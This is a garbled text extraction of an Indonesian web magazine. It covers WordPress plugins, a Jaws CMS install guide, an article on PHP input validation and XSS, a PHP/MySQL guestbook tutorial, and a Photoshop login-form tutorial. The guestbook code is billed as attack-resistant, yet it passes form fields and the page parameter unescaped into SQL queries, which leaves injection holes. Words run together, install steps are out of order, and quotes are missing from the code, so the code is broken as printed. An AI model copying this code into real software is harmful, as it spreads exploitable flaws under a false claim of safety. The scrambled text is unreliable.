WordPress Version : 2.5 or higherCompatible up to : 2.6Quotes CollectionQotes Collection plugin adalah plugin yang membantu andamenampilkan quotes-quotes favorit anda pada sisi situs anda.Plugin ini menggunakan AJAX sehingga lebih dinamispenampilannya.Plugin ini memiliki banyak fitur, diantaranya:3. Random Quote sidebar widget with Ajax refresh,membuat tampilan quotes bergantian tanpa harusdirefresh4. A nice admin interface to add, edit and manage quotes,tampilan admin yang menarik5. Additional information that can be provided along withthe quote, tambahan informasi berkenaan dengan quotetersebutVersion : 1.2.7Last Updated : 2009-4-20Requires WordPress Version : 2.1 or higherCompatible up to : 2.7.1Digg ThisDigg.com adalah salah satu situs social bookmarking yang ada diinternet. Social bookmarking adalah media online yang fungsinyamenandai suatu halaman tertebyt yang kita temukan saatberinternet. Lantas apa bedanya dengan bookmark? Berdasarkannamanya, dengan social bookmarking kita bisa memberikan akseskepada siapa saja di internet termasuk search engine. Ini bergunauntuk meningkatkan page rank situs kita di internet.Didalam engine wordpress, anda bisa menggunakan plugin DiggThis untuk menggunakan digg ini.Version : 0.5Last Updated : 2009-1-11Requires WordPress Version : 2.2 or higherCompatible up to : 2.7WordSpewPlugin ini merupakan plugin shoutbox yang sudah menggunakanAJAX. Shoutbox merupakan fitur chat instant yang biasa digunakanuntuk menyampaikan shout pengungunjung ke dalam situs/ AJAXteknologi membuat informasi yang dikirim ke server diprosessecara dinamis, karena itu user tidak perlu merefresh halamanweb untuk melihat hasilnya. Untuk plugin ini, user bisamengirimkan shoutnya disitus anda dan langsung melihat hasilnyatanpa harus merefresh halaman tersebut.Version : 1.16Last Updated : 2005-9-25SlideZoomPlugin ini cocok bagi anda yang ingin membuat halaman galeriuntuk situs anda, kemampuannya untuk menampilkan gambarsecara slide dan juga zoomable membuat galeri anda tampakmenarik dan dinamis. Mendukung format JPG, PNG, dan juga GIF.Version : 1.1.1Last Updated : 2009-4-17Requires WordPress Version : 2.2 or higherCompatible up to : 2.71.ilmu Website |MagazineE-learning community offline version44
  • 48. Jaws Gadgetntuk sebagian orang, CMS jaws mungkin tidak banyakdiketahui. Bagi orang-orang yang pemula dalam ngeblogUbiasanya mereka menggunakan situs yang khususdigunakan untuk blog. Contohnya wordpress dan blogspot ataublogger. Bila anda yang ingin belajar cara membuat blogsederhana dengan menggunakan CMS, maka jaws merupakansalah satu pilihan bagi anda pengguna pemula CMS.Dilihat dari layoutnya, Jaws tidak membuat mata anda merahkarena sakit. Tampilan Jaws sungguh enak dipandang mata. Simpledan indah, itulah yang akan ada dibenak anda pada saat mulaimenggunakan CMS ini. Pada DVD majalah ini, disertakan jaws versi0.8.9 yang siap untuk anda gunakan.Dalam hal penggunaan, jaws tidak membuat anda menggarukkankepala. Setidaknya itulah yang penulis rasakan saat mencoba Jaws.Dari mulai mengatur lay out, mengganti tampilan situs, memakaigadget dan lainnya. Satu lagi yang Jaws tawarkan pada anda, Jawsmenawarkan kelengkapan gadget yang ada pada satu paketprogram, anda tinggal menginstall atau tidak menggunakan gadgetyang anda sesuai dengan yang anda inginkan.Dalam hal proses penginstalannya ada beberapa tahapan yangpenulis lihat dalam proses penginstalan resmi jaws. Berikutbeberapa langkah tersebut:1. Introduction2. Authentication3. Requirements4. Database5. Create A User6. Settings7. Save Configuration8. FinishedUntuk lebih jelasnya tentang cara penginstalan program, berikutadalah langkah-langkah untuk menginstal Jaws.versi 0.8.9 yangInstall Jaws 0.8.9Kami asumsikan anda menginstalnya di komputer lokal danmenggunakan OS windows XP dan menggunakan Xampp versi1.6.0 dalam proses penginstalan ini.1. Aktifkan server apache dan database mysql anda, lalu extrak fileJaws 0.8.92. ekstrak file jaws-complete-0.8.9.tar.gz yang ada pada DVDanda ke direktori folder htdocs anda. Klik kanan file jaws-complete-0.8.9.tar.gz tersebut lalu klik extrak files...G a d g e t.ilmu Website |MagazineE-learning community offline version45
  • 49. 3.Lalubukabrowseranda.Ketikurlhttp://localhost/jaws/html/ 8. Lalu klik next9. Pada halaman Create A User, isikanlah:Username : nama untuk usernamesetiap kali anda masuk padahalaman admin jaws andaPassword : isikan passwordnyaRepeat : ulangi password andaName : masukan nama yang andainginkanE-Mail Address : Masukan alamat e-mailanda10. Lalu klik next11. Masuk kehalaman Settings. Isikan kotak-kotak dibawahnyaseperti dibawah ini:Site Name : Isikan nama situs andaDescription : Deskripsikan situs andaDefault Gadget : Isikan saja dulu dengan NoGadgetSite Language : Pilih language anda. Padacontoh ini kitamenggunakan bahasa"International English”12. Lalu klik Next13. Klik Next14. Finished15. Maka Jaws pun sudah terinstal dan siap anda gunakan.4. Akan keluar halaman Introduction. Klik saja next5. Lalu anda akan diminta membuat file teks bernama key.txt didirektori C:Program Filesxampphtdocsj2htmlinstallBuatlah file tersebut dan isi kan file tersebut dengan kodeyang tertera di langkah tersebut. Lalu klik simpan file tersebut.6. Maka akan keluar halaman Requirements. Bila semuamempunyai nilai result OK, langsung klik next lagi7. Pada bagian Database, isikanlah nilai-nilai dibawah iniHostname : localhostUsername :ketik username untuk mysqlanda, defaultnya adalah rootPassword :isikan password mysqlanda, pada xampp di DVDini, passwordnya adalahtidak ada (kosong)Database Name : berikanlah nama databaseyang anda kehendaki untukCMS Jaws anda.ilmu Website |MagazineE-learning community offline version46
  • 50. Menggunakan Gadgetini saatnya kita mencoba membuat atau menggunakanJaws CMS ini. Seperti yang disebutkan sebelumnya, bahwaKJaws sudah memasukan banyak gadget yang ada kedalamJaws. Untuk Jaws yang ada DVD, gadget yang ada sudah lebih daricukup untuk kelengkapan sebuah situs. Sekarang kita akanmencoba beberapa gadget yang ada. Masuklah kebagian adminanda, ketik url http://localhost/jaws/html/admin.php padabrowser anda lalu masukkan username dan password situs anda.Anda pun akan dibawa kehalaman control panel situs anda.Lalu perhatikan sebelah kanan anda, disana terdapat kotakDisabled Gadgets. Kotak tersebut merupakan kumpulan gadget-gadget yang siap dipakai, tetapi dalam keadaan disabled (tidakdipakai). Untuk memakainya kliklah install pada setiap gadgetyang tersedia. Berikut ringkasan beberapa gadget yang akan ada.BlogSeperti namanya, gadget ini berfungsi untuk membuatkumpulan-kumpulan artikel layaknya sebuah blog. Denganmenginsal gadget ini, maka managemen artikel bisa anda capailayaknya anda menggunakan situs blogger yang ada di internet.Untuk menggunakannya, klik dulu install blog sepertipembahasan "Menggunakan Gadget" sebelumnya. Bila sudahmenginstal, kliklah icon Layout pada control panel, maka akanterlihat tampilan situs anda, terbagi menjadi dua bagian.Bagian pertama dibagian atas merupakan layout situs anda. Bagiankedua dibagian bawah terdapat menu link balik ke halaman controlpanel, opsi tema tampilan, dan tombol add gadget, kliklah tomboladd gadget. Pastikan pada bagian gadget (sebelah kiri) andamengklik blog, lalu sebelah kanan, aturlah setingan yang andainginkan. Bila sudah, klik tombol Add Gadget. Posisi gadgettersebut bisa di ganti-ganti dengan mouse sesuai dengan yanganda inginkan. Bila sudah, maka bukalah halaman situs anda.Maka tampilan situs anda pun akan seperti setingan anda.BannerSekarang kita akan mencoba menggunakan gadget Banner bawaanJaws versi 0.8.9. Instal-lah gadget Banner tersebut, lalu klik iconBanner di control panel Jaws. Maka akan keluar halaman settingBanner. Perhatikan di jendela sebelah kanan jendela Banner.Disana ada beberapa setingan untuk banner anda. Isilah sesuaidengan keinginan anda, misalnya:Title : Isikan judul banner andaURL : Isikan alamat situs anda,atau link ke situs yanglainnya. Ini berguna agar banner bisa diklik kehalaman tersebut.Group : Masukkan kategori groupbanner tersebut. ContohnyaGeneral.Direction : Isikan directionnya apakahboth, vertikal atau horizontalThroughUploading : Check mark bagianini, bila anda inginmengupload file gambarbanner andaTemplate : Kliklah bagian icon imageuntuk menampilkan gambarbanner tadiKliklah save, maka gambar pun akan terlihat disitus anda.ilmu Website |MagazineE-learning community offline version47ChatboxAnda mungkin mengenal shoutbox. Shoutbox adalah sejenisaplikasi yang berfungsi menyajikan tampilan untuk menginputpesan kedalam browser sehingga kita bisa melakukan chattingdidalamnya dengan pengguna yang lainnya. Pada Jaws ini,aplikasi sejenis tersebut pun tersedia.Namun gadget ini agak berbeda dengan shoutbox padaumumnya. Setelah penulis coba, ternyata apa yang kita kirimkanke chatbox tersebut tidak secara otomatis terlihat oleh oranglain yang sedang online. Orang tersebut harus merefreshhalaman situs anda agar bisa melihat update teks yang sedangdikirimkan orang lain.WeatherKelengkapan suatu situs merupakan salah satu faktor datangnyakembali user kepada situs anda. Salah satu kelengkapan situs ituadalah adanya informasi cuaca yang tersaji dalam situs anda.Jaws telah menyediakan gadget tersebut dan siap untukdigunakan.Visit CounterSebuah statik pengunjung merupakan hal yang sangatdiperhitungkan untuk sebuah situs di zaman sekarang ini.Karena menandakan tingkat kepopuleran situs anda. Banyakmemang gadget-gadget atau plugin online yang bertebaran diInternet sekarang ini.Tak perlu jauh-jauh, Jaws sudah menyediakan Gadget jenis ini dibundel programnya. Statistik counter itu bernama Visit Counter.Silahkan anda instal gadget tersebut di control panel dan aturposisinya dibagian layout.
  • 51. FriendsBila anda blogger, tentunya anda mengenal fitur blogroll. Fungsiblogroll adalah menampilkan link kesitus yang lainnya. Biasanyalink tersebut menuju situs teman-teman anda. Nah dalam Jaws,ini bisa dilakukan dengan menggunakan Friends. Instal-lahterlebih dahulu gadget Friends tersebut di control panel. Laluklik icon friends di control panel bagian bawah halamantersebut. Disana terdapat beberapa settingan gadget friends.Masukanlah nama-nama teman anda dan juga situs merekatersebut. Bila sudah, lalu tinggal anda masukan gadget tersebutkedalam layout. Masuklah kedalam halaman layout sepertibiasa, masukkan gadget friends lalu atur letak layout sesuaidengan keinginan anda.PollBagi sebuah perusahaan besar, maka bentuk respons masyarakatberbentuk nilai merupakan sesuatu hal yang penting. Ini bisamenentukan pangsa pasar produk perusahaan tersebut. Denganadanya polling pada situs anda, maka anda akan bisa mengambilasumsi berdasarkan responden yang masuk kedalam situs andatentang suatu polling.Makin ramai/sering orang lain berkunjung ke situs anda, makaanda pun bisa mengoptimalkan kinerja polling tersebut untukmenilai suatu masalah berdasarkan voting. Perusahaan-perusahaan besar biasanya membayar mahal bila polling produkmereka dicantumkan ke situs anda. Tapi dengan catatan, situsanda banyak yang mengunjungi setiap harinya.Mari kita coba membuat polling. Instal-lah gadget polling dan laluklik icon polling yang ada pada control panel. Bila sudah makaperhatikan dibagian kanan halaman tersebut. Berikut langkah-langkahnya:1. Isikan pertanyaan anda untuk polling dibagian kotak Question2. Lalu klik Save. Maka akan ada polling baru disebelah kirihalaman tersebut. Kliklah icon kecil bernama answer dibagianaction3. Isikan jawaban-jawaban untuk dipilih dalam polling tersebut4. Klik saveKini anda tinggal mengatur tampilannya disitus anda padahalamanlayout..ilmu Website |MagazineE-learning community offline version48PreferencePreference adalah gadget yang berfungsi memberikan kebebasanbagi pengunjung situs untuk menentukan sendiri beberapa setingtampilan dan lainnya untuk dipakai sesuai keinginannya. Beberapaseting yang bisa diubah oleh pengunjung situs anda adalahmerubah tampilan template situs menjadi seperti yang merekainginkan. Instal-lah gadget ini bila anda menginginkannya.
  • 52. MenuMenu adalah fitur yang lumrah ditemui dan digunakan untuksebuah situs. Dalam Jaws, menu ini sangat mudah digunakan.Walaupun sangat sederhana sekali. Tapi bermanfaat bagi andayang baru ingin memulai membuat sebuah situs dengan CMS.Instal-lah gadget menu pada control panel, lalu klik icon Menu dihalaman tersebut. Disana terdapat dua kolom. Untuk membuatmenu baru, kliklah tombol Add Group dibagian kanan bawah laluisikan title dengan nama sesuai keinginan anda. Nama tersebutuntuk menamakan menu anda tersebut. Bila sudah, klik tombolSave.Untuk membuat isi menu yang akan ditampilkan di situs kita,kliklah icon Add Chile Menu dibagian kiri (gambar icon kotak putihkuning). Maka akan keluar kotak baru bernama Add Chile Menuanda seperti gambar dibawah ini:Isikan:1. Group :Pilih group sesuai keinginananda. Atau dalam contoh inianda gunakan group yangbaru saja anda buat tadi2. Parent : isikan saja dengan tanda ""3. Type :Pada contoh ini kitamengisikan URL pada opsitersebut4. References Link :Pada contoh ini kitamengisikan Free Link5. Title : Isikan nama link yang akananda buat6. URL : Isikan alamat URL dari linkyang anda buatSekarang anda tinggal mengatur posisinya dilayout.Mengganti TemplateJaws menyediakan banyak tampilan Layout yang menawan.Untuk mengubahnya, caranya cukup mudah. Berikut langkah-langkahnya:1. Masuklah kebagian admin situs anda(http://localhost/jaws/html/admin.php) lalu klik icon layout.2. Dibagian bawah, klik theme yang anda suka3. SelesaiPerhatikan lah situs anda, maka tampilannya pun akan berubahsesuai setingan anda.[Hartono Gunawan]7. Target :Isikan target yang andakehendaki. Self untuk halamanyang bersangkutan. Dan NewWindows untuk tampilan yangbaru selain halaman yangsedang aktifBila sudah semuanya, kliklah save. Maka menu tadi akan terlihatdijendela sebelah kiri kolom Menus Tree. Anda bisamenambahkan link-link lain sesuai keinginan anda. Dalam contohini, penulis menambahkan 4 lagi link pada menu tersebut.Untuk menggunakannya, anda tinggal menampilkannyadihalaman layout seperti biasa. Dan pada saat menekan tombolAdd Gadget, maka pilihlah menu dan klik menu yang baru andabuat tadi. Lalu klik tombol Add gadget. Seperti gambar dibawahini.ilmu Website |MagazineE-learning community offline version49
  • 53. Kerentanan Validasi input padaPHP dan penanggulannya(Bagian 1)S e c u r i t yWeb50.ilmu Website |MagazineE-learning community offline versionTekhnik membuat buku tamuyang aman dariserangan attacker52Setiap data yang dimasukkan (sebagai input) kedalam sistem aplikasi seharusnya divalidasiterlebih dahulu. Diperiksa terlebih dulu dandipastikan bahwa data yang dimasukkan benar,sesuai dengan ketentuan yang telah ditetapkan,agar aplikasi dapat memproses atau menyimpansetelahnya.Why..?Karena seringkali pengguna tidak mengetahuitentang data yang tepat yang bisa dimasukkanuntuk program yang digunakannya. Aplikasi yangkita kembangkan harus memiliki fungsi validasi,agar aplikasi bisa membantu pengguna untukmelakukan validasi terhadap data yangdimasukkannya.Karena jika tidak divalidasi, maka program akanmenjadi seolah-olah salah (error), mengeluarkanpesan kesalahan, karena program tidak dapatmelakukan pemrosesan terhadap data yangdimasukkan, yang tidak sesuai dengan yangdiinginkan atau dapat diproses oleh programtersebut.sehingga inilah hal-hal yang palingdinanti oleh seorang attackerSo.. ada hal-hal yang penting mesti kita tahuberkaitan dengan validasi diantaranya adalahJenis validasi, tempat validasi dan kapan kitamesti memvalidasi serta prosesnya bagaimana ?Oke ga usah basa basi keburu ga bisa dimakandech…, penulis terangkan satu persatu.Dengan adanya kemampuan untuk memvalidasidata, maka program yang dibuat akan terlihatcerdas. Selain itu program juga akan terlihat lebihbersahabat (friendly) apabila program memilikikelengkapan untuk memberikan saran harus sepertiapa, apabila data yang dimasukkan salah.(adapununtuk masalah dimanakah tempat validasi dankapan kita mesti memvalidasi serta prosesnyabagaimana ? hal ini insya alloh akan penulisjelaskan pada edisi berikutnya)Lantas Sejauh manakah kerentanan Validasi Inputtersebut..???Dalam Dunia Keamanaan web, ada hal yang sangatmenakutkan ( hm emangnya hantu) yaitu serangandari attacker yang memanfaatkan sisi kelemahaninputan ini yaitu dengan memanfaatkan kelemahanXSS (masih ingetkan kasus pembobolan web paspemilu 5 tahun yang lalu atau kasus web myspace..??), kasus tersebut merupakan bagian dari padacontoh kasus attacker yang memanfaatkan celahXSS untuk disusupi.(lebih jelasnya tentang XSS akanpenulis kupas dalam episode eh salah edisiberikutnya)Jenisvalidasi:* validasi tipe data* validasi nilai data (selang/range data) yangdiperbolehkan* validasi penulisan data, seperti bagaimanaformat menuliskan data berupa tanggal, jam,nomor telepon, dan lain-lain yang memiliki aturanpenulisan sendiri.50bagian ke 1PenanggulangannyaKerentanan ValidasiPHP&INPUTpada
  • 54. Dari web tersebut bisa dilihat bahwa kode html masih diijinkan,tentunya ga enak dipandang bukan….?.So bagaimana sech kita bisa membentengi inputan dalam aplikasiweb kita dari serangan attacker…?.Untuk cara pertama, option magic_quotes_gpc harus dalamkondisi ON. Anda dapat mengubahnya pada konfigurasi php.ini(jangan lupa merestart APACHE setelah diubah optionnya). Teknikdari cara ini adalah dengan mengubah karakter tanda petik (atau ") menjadi dan ". Seperti kita tahu bahwa hampirsemua script pasti memiliki tanda tersebut yang digunakanuntuk mengapit suatu valueCara kedua, Anda dapat menggunakan function htmlentities().Cara ini akan lebih efektifdari cara pertama sebelumnya apabila script tidak memuat tandapetik. Teknik cara keduaini adalah dengan mengubah suatu karakter menjadi htmlentity. Maksudnya, kita tahu bahwa apabila kita inginmenampilkan tanda lebih kecil (<) ke halaman web, makaperintah htmlnya adalah &lt; dan &gt; untuk tanda lebihbesar. Nah… dengan penggunaan function ini akan mengubahtanda-tanda tersebut ke dalam perintah html nya.Cara ketiga adalah dengan memasukan kode verifikasi atauistilahnya captcha dalam setiap aplikasi inputan web kita.<walaupun memang kode inipun masih bisa di tembus olehspambot tapi lumaya dech setidaknya bisa mengurangikerentanan validasi inputan dalam aplikasi web kita. [RosidMustofa]isamping itu pula para attacker memanfaatkan sisi validasi html atau kerentanan dalam sisi pengijinan inputan html.Tentunya ini justru merupakan hal yang dirindukan ( cie.. kaya ama cewek aja ) oleh seorang attacker karena merekaDmemasukan kode-kode html dalam inputan tersebut tentunya kalau kode-kode html diijinkan akan berakibat sampah ataukerennya mah spam dan web target seperti contoh kasus salah satu web berikut :.ilmu Website |MagazineE-learning community offline version51
  • 55. ke dech pada edisi sekarang ini penulis akanmemberikan studi kasus cara membuat aplikasiObukutamu yang aman dari serangan para attacker(walaupun tak 100% sempurna amannya, soalnyakesempurnaan tuh milik Alloh SWT). Lets to Co….ding ..!!Apabila Anda mendengar istilah buku tamu, tentunyabukanlah sesuatu hal yang baru. Dengan keberadaanbuku tamu dalam sebuah situs, seorang pengunjungdapatmeninggalkan suatu tulisan yang bisa berupa pesan dankesan, kritik atau saran pada pemilik situs terkaitdengan konten situsnya. Sudah banyak situs-situs webyang menawarkan fasilitas buku tamu gratis (freeguestbook) yang langsung bisa digunakan. Pada tutorial ini,Anda akan dipandu untuk membuat buku tamu sendirimenggunakan PHP dan MySQL. Buku tamu yang akandibuat ini dilengkapi dengan kode verifikasi yangmencegah spam untuk masuk ke dalam database, sertadapat mengurangi resiko adanya XSS (Cross Site Scripting)dan juga penulis lengkapin dengan paginationLangkah pertama dari pembuatan buku tamu iniadalah mempersiapkan database dan tabelnya. Berikutini query SQL untuk membuat tabel. Namun sebelummembuat table tentunya buat dulu folder di folder htdocsdengan nama websecurity dan buat databasenya dech,dengan nama websecurity (bisa lewat phpmyadmin ataumysql front) baru buat table bukutamu;CREATE TABLE bukutamu (id int(11) NOT NULL auto_increment,nama varchar(20) NOT NULL,alamat varchar(30) NOT NULL,email varchar(30) NOT NULL,tanggal varchar(20) NOT NULL,komentar text NOT NULL,PRIMARY KEY (id));Langkah kedua adalah membuat file dengan nama koneksi.php,dimana file ini digunakan sebagai file koneksi bukutamu kedatabase<?$host="localhost";$uname="root";$pass="";$db="websecurity";$koneksi=mysql_connect($host,$uname,$pass);mysql_select_db($db,$koneksi);?>;Langkah kedua adalah dengan membuat kode verifikasi dengannama filenya adalah random.php fungsinya untuk membuatrandom kode verifikasi berikut ini kodingnya :.ilmu Website |MagazineE-learning community offline version52TeknikMembuatYang amandari seranganAttackerBukutamu<?session_start();$alphanum ="ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";// menghasilkan kode random sebanyak 5karakter dari $alphanum$rand = substr(str_shuffle($alphanum), 0,5);// mengenkripsi kode random yang dihasilkandan digunakan sebagai// session$_SESSION[image_random_value] =md5($rand);// membuat image 60 x 30 pixel$image = imagecreate(60, 30);// memberi warna kuning RGB(255,255,0) padabackground$bgColor = imagecolorallocate ($image, 255,255, 0);// memberi warna text hitam RGB(0,0,0)$textColor = imagecolorallocate ($image, 0,0, 0);// meletakkan kode random ke dalam imageimagestring ($image, 5, 5, 8, $rand,$textColor);// beberapa perintah header untuk mencegahimage disimpan di cacheheader("Expires: Mon, 26 Jul 1997 05:00:00GMT");header("Last-Modified: " . gmdate("D, d M YH:i:s") . " GMT");header("Cache-Control: no-store, no-cache,must-revalidate");header("Cache-Control: post-check=0, pre-check=0", false);header("Pragma: no-cache");// mime untuk menyatakan image berformatJPEGheader(Content-type: image/jpeg);// menampilkan image ke browserimagejpeg($image);imagedestroy($image);?>
  • 56. <html><head><title>++ Form Isian Bukutamu ++</title></head><body><h1>Form Isian BukuTamu</h1><form method="post" action="kirim.php"><table border="0"><tr><td>Nama Anda</td><td>:</td><td><input type="text" name="nama" /></td></tr><tr><td>Asal Daerah</td><td>:</td><td><input type="text" name="alamat"/></td></tr><tr><td>E-mail</td><td>:</td><td><input type="text" name="email" /></td></tr><tr><td valign="top">Komentar</td><td valign="top">:</td><td><textareaname="komentar"></textarea></td></tr><tr><td>Masukkan Kode Verifikasi</td><td>:</td><td><input type="text" name="kode" />*</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td><img src="random.php" /></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>* case sensitive</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td><input type="submit" name="submit"value="Kirim" /><input type="reset" name="reset"value="Hapus" /></td></tr></table></form><p><a href="lihat.php">Lihat BukuTamu</a></p></body></html>Langkah ketiga adalah membuat file dengan namabukutamu.phpBerikut tampilan dari file bukutamu.php.ilmu Website |MagazineE-learning community offline version53Berikut tampilan dari file bukutamu.php
  • 57. <?phpsession_start();//membaca kode verifikasi dari form$random = $_POST[kode];// cek kode verifikasi terenkripsi dengan kodesessionif (md5($random) ==$_SESSION[image_random_value]){// membaca data isian form + mencegah XSSdengan htmlentities()$namaPengisi = htmlentities($_POST[nama]);$alamatPengisi =htmlentities($_POST[alamat]);$emailPengisi = htmlentities($_POST[email]);$komentarPengisi =htmlentities($_POST[komentar]);// cek validitas data isian (tidak boleh adadata yang kosong dan format email harus benar)$polaEmail = "^.+@.+..+$";if(!eregi($polaEmail, $emailPengisi)) {echo("Masukkan alamat email yang valid, misal: xfree@coba.com");} else if(!empty($namaPengisi) &&!empty($alamatPengisi) &&!empty($emailPengisi) &&!empty($komentarPengisi)) {// koneksi ke mysqlinclude "koneksi.php";$conn = mysql_connect($host, $uname, $pass);mysql_select_db($db,$koneksi);// membaca tanggal ketika data dikirim$tanggal = date("d/m/Y G:i:s");// simpan data ke mysql$query = "INSERT INTO bukutamu(nama, alamat,email,tanggal, komentar)VALUES($namaPengisi,Langkah selanjutnya adalah dengan membuat file dengan namakirim.php sebai file pengiriman inputan ke database dan jugasebagai file verifikasi.ilmu Website |MagazineE-learning community offline version$alamatPengisi,$emailPengisi,$tanggal,$komentarPengisi)";$hasil = mysql_query($query);// konfirmasi pengirimanif ($hasil) echo "Kirim buku tamu berhasil";else echo "Kirim buku tamu gagal";// menutup koneksi ke mysqlmysql_close($conn);}else echo "Data yang akan dikirim tidaklengkap";}else echo "Kode Verifikasi yang Anda masukkansalah !!";?><p><a href="bukutamu.php"><< Ulangi </a></p>Langkah berikutnya adalah membuat File dengan namalihat.php fungsinya adalah untuk melihat hasil dari outputbukutamu.<html><head><title>Lihat Buku Tamu</title></head><body><h1>DAFTAR PENGISI BUKUTAMU</h1><?phpinclude "koneksi.php";$conn = mysql_connect($host, $uname,$pass);mysql_select_db($db,$koneksi);// jumlah data yang akan ditampilkan perhalaman$dataPerPage = 2;if(isset($_GET[page])){$pageNum = $_GET[page];}else $pageNum = 1;$offset = ($pageNum - 1) * $dataPerPage;$query = "SELECT * FROM bukutamu ORDER BYid DESC LIMIT $offset,$dataPerPage";$result = mysql_query($query) or die(Error);// menampilkan datawhile($data = mysql_fetch_array($result)){echo "<table border="0">";echo"<tr><td>Nama</td><td>:</td><td>".$data[nama]."</td></tr>";echo"<tr><td>Alamat</td><td>:</td><td>".$data[alamat]."</td></tr>";echo"<tr><td>Email</td><td>:</td><td>".$data[email]."</td></tr>";echo"<tr><td>Tanggal</td><td>:</td><td>".$data[tanggal]."</td></tr>";echo"<tr><td>Komentar</td><td>:</td><td>".$data[komentar]."</td></tr>";echo "</table><hr>";}54
  • 58. .ilmu Website |MagazineE-learning community offline version$query = "SELECT COUNT(*) AS numrows FROMbukutamu";$result = mysql_query($query) or die(Error);$row = mysql_fetch_array($result,MYSQL_ASSOC);$numrows = $row[numrows];$maxPage = ceil($numrows/$dataPerPage);$self = $_SERVER[PHP_SELF];$nav = ;for($page = 1; $page <= $maxPage; $page++){if ($page == $pageNum){$nav .= "$page";}else{$nav .= " <ahref="$self?page=$page">$page</a> ";}}echo "<p>Halaman ".$nav."</p>";mysql_close($conn);?><p>[<a href="bukutamu.htm">ke halaman isibukutamu</a>]</p></body></html>Berikut output dari file lihat.phpKeberadaan filtering html dengan htmlentities dan juga kodeverifikasi, insya alloh akan mengurangi dari aksi para attackerterhadap aplikasi web yang kita buat khususnya segala inputanyang ada dalam Aplikasi web kita.sedangkan untuk penjelasankoding sudah penulis masukan dalam scriptnya. Terus janganlupa koding diatas dites dan bandingkan dengan koding yangtidak memakai htmlentities atau juga kode verifikasi. Tentunyabenda bukan…!!, andalah yang bisa menilainya.So…!, jangan takut untuk mencoba dan praktekanilmu yang sudah didapat .Dan jangan lupa untuk edisi berikutnya dengan topik yang samanamun dengan kasus yang tak kalah penting untuk di miliki dandisimak.Tema edisi berikutnya adalah : Kerentanan Validasi Input padaPHP dan Penanggulangannya Session ke 2Dengan studi kasus membuat halaman login yang aman dariserangan attacker [Rosid Mustofa]55
  • 59. 56GrafisDesign idak seperti programmer tulen lainnya, merancanghalaman sebuah website / aplikasi biasanya akanTmengutamakan fungsi terlebih dahulu. Namun tidak bagisebagian designer web merangkap yang bertugas sebagaiprogrammer sekaligus, biasanya memiliki ciri khas yang unik.Sekalipun hanya sekedar form login sebuah aplikasi, design nyapun akan di perhitungkan juga.Untuk itu pada edisi ini, kita akan menerapkan cara kerjaseorang designer web yang merangkap sebagai programmer,dan tutorial ini merupakan catatan hidup dan pengalamanpenulis sendiri.Suatu ketika karena terburu buru akan direview hasil aplikasipada sebuah projek, penulis sudah tidak sempat lagimenganalisa interface design untuk form login aplikasinya.Karena yang baru sempat dibuat adalah interface untuk backend administratornya saja. Saat presentasi dimulai, pandanganuser saat pertama kali adalah form login, sebagai pintu masukaplikasi. Sekalipun back end sudah di design dengan seindahmungkin, namun tidak disangka, karena awalnya form loginterlihat tidak rapih dan indah, user pun sedikit komentar.Dari pengalaman ini, penulis berkesempatan untuk membuattutorial bagaimana merancang interface form login yang unik,sebagai kekuatan pertama pada sebuah aplikasi sebelum fungsi-fungsinya dianalisa.Membuat Form Login UnikDengan Adobe PhotoshopMembuatFormLogin UnikDenganAdobePhotoshop
  • 60. Dengan Adobe Photoshop, buat dokumen baru 400 x 300pixel. Dan siapkan tool Rounded Ractangle Tool (U) untukmembuat shapping baru.Ubah radius menjadi 4px, dan warna putih. Tarik bidangperseginya untuk membentuk body form.Berikan style pada bidang, pilih Layer > Layer Style > GradientOverlay dan StrokeDan hasilnya seperti ini#eeeeee#c6c6c6Perhatikan pada layer, terdapat nama layer Shape 1,merupakan nama layer dari bidang yang baru saja kita buat.Tekan [CTRL+Click] pada Layer Shape 1, akan muncul seleksisekitar bidang body form..ilmu Website |MagazineE-learning community offline version57
  • 61. Aktifkan tool seleksi (M), dengan mode: Substract fromselection. Lalu klik dan drag seperti pada gambarPilih menu Select > Modify > Contract, dengan radius 4 px. Nanti hasilnya akan seperti ini:Maka seleksi akan berubah menjadi seperti pada gambar ini.Lalu buat layer baru, dengan mengklik ikon new layer atau pilihmenu Layer > New Layer, dengan nama layer top-header. Kasiwarna pada seleksi, dengan menggunakan Paint Bucketberwarna putih, atau dengan shortcut [ALT+BackSpace].Selanjutnya berikan style juga#fb9d23 -#ffc579Sekali lagi lakukan [CTRL+Click] pada Shape 1 (Body Form), danaktifkan tool seleksi Polygon Lasso Tool (L), tapi kali inimodenya: Intersect With SelectionBuat bidang seleksi di sebelah kiri bawah. Dan ambil bagianseleksi pojok saja..ilmu Website |MagazineE-learning community offline version58
  • 62. Lalu pilih Select > Modify > Contract, dengan radius 4px. Danbuat layer baru dengan nama: left-bot. Kasi warna dan style yangsama dengan layer top-header.Tips: untuk style yang sama persis, dapat menggunakan trik kopipaste Style. Klik kanan pada layer top-header, lalu pilih CopyLayer Style, kemudian klik kanan pada layer left-bot, lalu pilihPaste Layer Style.Tahap selanjutnya adalah membuat field field form yang terdiridari User ID dan Password.Pertama ketik text User ID dan Password dengan menggunakanTool Text (T).Lalu buat persegi panjang dengan cara yang sama pada shappingtop-header. Masing – masing untuk User ID dan Password.Disini penulis menggunakan style gradasi dari abu abu muda keputih. Dan sedikit stroke 1px berwarna abu abu tua.Oke sekedar melengkapi berikan judul text pada header nya,dengan warna text putih disertai icon kecil untuk pemanis.Selanjutnya buat satu shaping lagi untuk tombol login..ilmu Website |MagazineE-learning community offline version59
  • 63. Dan berikan sedikit stroke di sekitar bidang tombol login, dengancara [CTRL+Click] pada layer tombol login, lalu pilih Select >Modify > Contract, radius = 2px. Dan buat layer baru, lalu pilihmenu Edit > Stroke, pilih inside mode dengan radius 1px danwarna putih.Sedangkan contoh implementasi dengan design yang sedikitdibedakan, dapat dilihat pada gambar berikut iniUntuk kesan keindahan, kali ini kembangkan kreatifitas Anda,gunakan Custom Shape untuk mengambil ilustrasi Centang.Tahap selanjutnya adalah mengalanisa hasil design sementara,hmmm... disini penulis tambahkan beberapa garis hitamdengan shadow putih 1px pada pojok segi tiga kiri bawah.Gunakan pencil tool untuk membuat garis-garis nya.Selain itu, penulis membubuhkan text dreLogin V.1.1, yangmerupakan open source sederhana untuk Login Aplikasi,menggunakan jQuery Ajax Teknologi sebagai form handler nya.Penulis menyedian share file dreLogin untuk di download di :Berikut ini adalah hasil akhir dari design form login yang unik.http://www.dremi.info/wwwtips.php?cID=79Akhir kata, penulis 